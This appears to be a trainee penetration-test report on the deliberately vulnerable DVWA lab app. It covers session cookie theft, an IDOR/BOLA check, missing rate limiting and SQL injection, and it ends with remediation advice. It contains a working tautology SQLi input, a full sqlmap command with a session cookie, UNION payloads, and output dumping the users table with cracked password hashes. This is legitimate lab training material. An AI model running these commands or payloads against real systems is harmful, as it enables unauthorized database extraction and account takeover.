

Phase 2

API Security Testing

Objective

The Goal of this assessment to identify security weakness/vulnerabilities in the DVWA/API like components in accordance to OWASP top 10 methodology.

Testing issues like BOLA, Weak session token validation, missing rate limiting and SQL injection. These vulnerabilities allow unrestricted access to data and accounts which are not supposed to be accessed by unauthorized adversary.

Tools used

- Burp suite
- SQLmap
- Kali-Linux
- Metasploit 2 VM

Methodology

1. API Endpoint Enumeration

Using Burp suite we were able to intercept all DVWA traffic, revealing API like GET and POST request for authentication , SQL injection , brute force and input reflection functions.

#	Host	Method	URI	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time	Listener port	Start response...
1	https://www.google.com	GET	/warmup.html			200	1058	HTML	html	Warmup Page		✓	192.168.100.129		16:45:50 4 Dec 2023	8080	190
2	http://192.168.100.129	GET	/dvwa/			301	593	HTML		301 Moved Permanently			192.168.100.129		16:45:58 4 Dec 2023	8080	1
3	http://192.168.100.129	GET	/dvwa/			302	482	HTML					192.168.100.129		16:45:58 4 Dec 2023	8080	24
4	http://192.168.100.129	GET	/dvwa/login.php			200	1636	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:44:59 4 Dec 2023	8080	14
8	http://192.168.100.129	POST	/dvwa/login.php		✓	302	392	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:47:03 4 Dec 2023	8080	18
9	http://192.168.100.129	GET	/dvwa/index.php			200	1637	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:47:03 4 Dec 2023	8080	14
10	http://192.168.100.129	POST	/dvwa/login.php		✓	302	391	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:47:08 4 Dec 2023	8080	15
11	http://192.168.100.129	GET	/dvwa/login.php			200	1675	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:47:08 4 Dec 2023	8080	12
12	http://192.168.100.129	POST	/dvwa/login.php		✓	302	395	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:47:13 4 Dec 2023	8080	13
13	http://192.168.100.129	GET	/dvwa/index.php			200	4932	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:48:08 4 Dec 2023	8080	16
18	http://192.168.100.129	GET	/dvwa/index.php			200	4846	HTML	php	Damm Vulnerable Web A...			192.168.100.129		16:48:08 4 Dec 2023	8080	12
19	http://192.168.100.129	GET	/dvwa/vulnerabilities/fil?page=include.../		✓	200	4433	HTML		Damm Vulnerable Web A...			192.168.100.129		16:48:09 4 Dec 2023	8080	18
20	http://192.168.100.129	GET	/dvwa/vulnerabilities/churn/			200	4872	HTML		Damm Vulnerable Web A...			192.168.100.129		16:48:17 4 Dec 2023	8080	15



2. Authentication testing

While testing we were able to observe that the we are able to steal the PHPsession cookies from logged in account and take over the session.

The image consists of three vertically stacked screenshots of the DVWA application running on a Kali Linux host. The top screenshot shows the 'DVWA Security' page with the security level set to 'low'. The middle screenshot shows the 'Login' page where the user 'admin' has been entered into the 'Username' field. The bottom screenshot shows the 'Welcome to Damn Vulnerable Web App!' page, indicating that the user 'admin' is now logged in.

Screenshot 1: DVWA Security

DVWA Security
Script Security
Security Level is currently low.
You can set the security level to low, medium or high.
The security level changes the vulnerability level of DVWA.
low ▾ Submit

Screenshot 2: DVWA Login

DVWA
Username: admin
Password: password
Login

Screenshot 3: DVWA Welcome

Welcome to Damn Vulnerable Web App!
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security researchers to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!
Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing XAMPP onto a local machine inside your LAN which is used solely for testing.

Disclaimer
We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is **not** our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions
The help button allows you to view hints/tips for each vulnerability and for each security level on their respective page.

You have logged in as 'admin'



3. Authorization Testing (BOLA)

We can enumerate other users records without permissions by changing the parameters in `/vulnerabilities/sqli/`

The screenshot shows the DVWA SQL Injection page. On the left, a sidebar menu lists various vulnerabilities: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (highlighted in green), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, and About. Below the menu is a 'Logout' button. The main content area has a title 'Vulnerability: SQL Injection'. It contains a 'User ID:' input field with a dropdown menu showing the value '1'. To the right of the input field is a 'Submit' button. Below the input field, there is a list of user records from the database:

ID	First name	Surname
1 OR '1' = '1	admin	admin
1 OR '1' = '1	Gordon	Brown
1 OR '1' = '1	Hack	Me
1 OR '1' = '1	Pablo	Picasso
1 OR '1' = '1	Bob	Smith

Below the table, there is a link to 'More info' with three external URLs: <http://www.secureteam.com/securityreviews/SDPON1P78E.html>, http://en.wikipedia.org/wiki/SQL_Injection, and <http://www.unixwiz.net/techtips/sql-injection.html>.

4. SQL Injection testing

SQLmap was used to test for SQL Injection. The result was we were successfully able to enumerate the database.

The screenshot shows a terminal window running SQLmap against the DVWA SQL injection target. The command used is:

```
(kali㉿kali)-[~/Documents/Rooted/DVWA/exploit]
$ sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=d89eb1a672ab468356d5eea73d19398; security=low" --dbs --batch
```

Below the terminal, the DVWA SQL Injection page is shown. It displays a user enumeration table with the same data as the previous screenshot. The terminal output shows the progress of the SQLmap scan, including connection testing, WAF detection, and heuristic analysis, leading to the discovery of the database structure.



```
type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x716a787171,0x4e417868457746426c61614c4149534d706365624c45765a50635
15a53645665,0x717a767071),NULL-- &Submit=Submit
[04:21:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.65
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[04:21:56] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema
[04:21:56] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 26 times
[04:21:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 04:21:56 /2025-11-21/
```

```
Payload: id=1' UNION ALL SELECT CONCAT(0x716a787171,0x4e417868457746426c61614c4149534d706365624c45765a506356526f43464
15a53645665,0x717a767071),NULL-- &Submit=Submit
[04:26:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.65
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[04:26:54] [INFO] fetching tables for database: 'dvwa'
[04:26:54] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[4 tables]
+-----+
| access_log |
| guestbook |
| security_log |
| users |
+-----+
[04:26:54] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 04:26:54 /2025-11-21/
```

```
[04:28:15] [INFO] cracked password 'letmein' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[04:28:15] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+-----+-----+-----+
| user_id | role | user | avatar | failed_login | account_enabled | last_name | first_name |
+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | admin | admin | /DVWA/hackable/users/admin.jpg | 0 | 1 | admin | adm |
| 2 | user | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | 1 | Brown | Gor |
| 3 | user | 1337 | /DVWA/hackable/users/1337.jpg | 0 | 1 | Me | Hac |
| 4 | user | pablo | /DVWA/hackable/users/pablo.jpg | 0 | 1 | Picasso | Pab |
| 5 | user | smithy | /DVWA/hackable/users/smithy.jpg | 0 | 1 | Smith | Bob |
+-----+-----+-----+-----+-----+-----+-----+-----+
[04:28:18] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/dvwa/users.csv'
[04:28:18] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 04:28:18 /2025-11-21/
```

5. Rate limiting & Brute forcing

The Endpoint /vulnerabilities/brute accepted unlimited attempts of login , demonstrating missing rate limiting protections.

API Testing Logs

Test ID	Vulnerability Type	Severity	Target Endpoint
008	BOLA (IDOR)	Critical	/vulnerabilities/sql/
009	Token Manipulation	High	/login.php
010	Rate Limit Bypass	Medium	/vulnerabilities/brute/
011	SQL Injection	Critical	/vulnerabilities/sql/
012	Parameter Fuzzing	Medium	All endpoints

Summary

We were able to perform API Testing on the DVWA website which resulted in BOLA, SQL Injection, Weak session handling, and missing rate limiting controls. burp suite, SQLmap, were used to intercept traffic and extract databases. These vulnerabilities allowed unauthorized access, brute forcing/ dictionary attacks, full database exfiltration.

Remediation Recommendations

- Enable ACL level authorization for all IDs
- Enable rate-limiting which will prevent brute-force attacks
- Create new session tokens upon login
- Input sanitization on all input parameters
- Use prepared statements to prevent SQL injection
- Disable verbose error messages to prevent accidental enumeration.
- Implement proper authentication and logging



CYART

inquiry@cyart.io

www.cyart.io
